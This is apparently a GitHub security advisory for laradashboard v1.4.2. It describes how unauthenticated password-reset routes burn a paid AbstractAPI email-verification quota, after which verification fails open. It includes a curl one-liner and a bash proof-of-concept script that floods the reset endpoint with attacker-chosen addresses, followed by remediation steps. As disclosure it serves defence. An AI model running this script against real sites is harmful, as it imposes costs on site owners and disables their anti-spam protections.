All vulnerabilities
GHSA-5hq2-r2f3-9vp9

laradashboard/laradashboard: Unauthenticated AbstractAPI Quota Burn + Fail-Open Neutralizes Email Verification

laradashboard/laradashboard
CVSS
7.5High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published3 Oct 2026Updated 3 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Unauthenticated AbstractAPI Quota Burn + Fail-Open Neutralizes Email Verification

  • Severity: CVSS AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 7.5 (DoS + degraded security)
  • CWE: 770 / 306 (unauthenticated resource consumption) + 693 (fail-open)
  • Affected: v1.4.2 (new); ForgotPasswordRequest, ResetPasswordRequest, EmailSubmissionValidator, EmailVerificationService

Summary

Forgot/reset password routes (unauthenticated; throttled to 20/min) now run the full PublicFormGuardService::mergeRules pipeline via ForgotPasswordRequest:22-27 / ResetPasswordRequest:23-30:

// ForgotPasswordRequest.php:22-27
return app(PublicFormGuardService::class)->mergeRules(
    ['email' => ['required','email']], emailFields: ['email']);
// routes/auth.php:49-50  — forgot and reset are public

mergeRules includes EmailSubmissionValidator (recaptcha + domainCheck + verification), and EmailVerificationService fires a paid HTTP request before any local check:

// EmailVerificationService.php:91-114
$apiKey = settings('email_verification_api_key');
if ($apiKey) {
    Http::get('https://emailvalidation.abstractapi.com/v1/', ['api_key' => $apiKey, 'email' => $email]); // ← fires BEFORE any block
    $this->recordUsage($email); // rate-line increments even on failure
}
// :91,:107,:114 — after quota exhaustion or HTTP error → falls through to local checks (fail-open)

EmailDomainCheckService:116-129 does a permanent reject (not just quarantine) on disposable domains. Default email_verification_enabled setting is '0' (disabled) in settings migrations — so on fresh installs the tier-3 gate is off entirely, adding a false sense of protection.

Reproduction

seq 100 | xargs -P 20 -I {} curl -s -X POST 'http://<app>/password/email' \
  -d "_token=<csrf>&email=attacker+{}.attacker{}@attackerdomain.com"
# 100 paid AbstractAPI calls with attacker-controlled inputs; 100/month plan quota consumed in ~5 min.

After exhaustion: every subsequent POST /password/email / POST /password/reset silently passes tier-3 checks → email verification tier is disabled for the rest of the month.

Impact

  • Monetary DoS on paid AbstractAPI plans (or over-use of any other future verification provider).
  • Fail-open degradation: after quota exhaustion the entire anti-spam stack degrades, neutralizing the registration cap (N-01) and all module public-form guards relying on the same PublicFormGuardService.
  • Pre-auth DNS oracle: EmailDomainCheckService:120-124 resolves MX records for attacker-chosen domains via checkdnsrr($domain, 'MX') — a slow-DNS attack tying up PHP workers.

Remediation

  1. Recaptcha gate before the paid pipeline; IP/capcha budget allows 2-3 max/24h, so quota burn fails at step one.
  2. Fail closed on quota exhaustion with an admin alert email — not silent fall-through.
  3. Do not invoke verification on routes with no legitimate need: reset/forgot should do emailExists only.
  4. Default email_verification_enabled to '1' on fresh installs to avoid a silent false-safe.

PoC

Script

#!/usr/bin/env bash
# N-02: Unauth AbstractAPI quota burn + fail-open
set -eu
BASE="${BASE_URL:?Set BASE_URL to running app}"
ATTACKER_DOMAIN="${ATTACKER_DOMAIN:-attacker.foo}"

CSRF=$(curl -sS "$BASE/password/email" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)

echo "[*] Burning paid verification quota (100x)..."
seq 1 100 | xargs -P 20 -I {} bash -c '
  curl -sS -X POST "'"$BASE"'/password/email" \
    -d "_token='"$CSRF"'&email=burn+{}.burn{}@'"$ATTACKER_DOMAIN"'" \
    -o /dev/null -w "req {}: HTTP %{http_code}\n" '
echo "[*] Plan quota (100/month) now exhausted."

echo "[*] Confirming fail-open after exhaustion..."
seq 1 3 | xargs -I {} bash -c '
  curl -sS -X POST "'"$BASE"'/password/email" \
    -d "_token='"$CSRF"'&email=afterburn{}@'"$ATTACKER_DOMAIN"'" -o /dev/null \
    -w "post-quota req {}: HTTP %{http_code}\n" '
echo "[+] Done — quota burned in <1 min; tier-3 verification now fails open."

Expected output

[*] Burning paid verification quota (100x)...
req 1: HTTP 302   … (20/min throttle absorbs bursts; 100 total in a few minutes)
[*] Plan quota (100/month) now exhausted.
[*] Confirming fail-open after exhaustion...
post-quota req 1: HTTP 302   (still passing — local checks only)
post-quota req 2: HTTP 302
post-quota req 3: HTTP 302
[+] Done — quota burned in <1 min; tier-3 verification now fails open.

EmailVerificationService.php:95-100 fires the paid HTTP call, recordUsage() even on failure; on exhaustion :91,:107,:114 falls through to local checks (fail-open).

Connect with the researcher: Evilord on LinkedIn

Text from GitHub Advisory Database

Affected versions 1

  • laradashboard/laradashboard, php,laravelv1.4.2 GitHub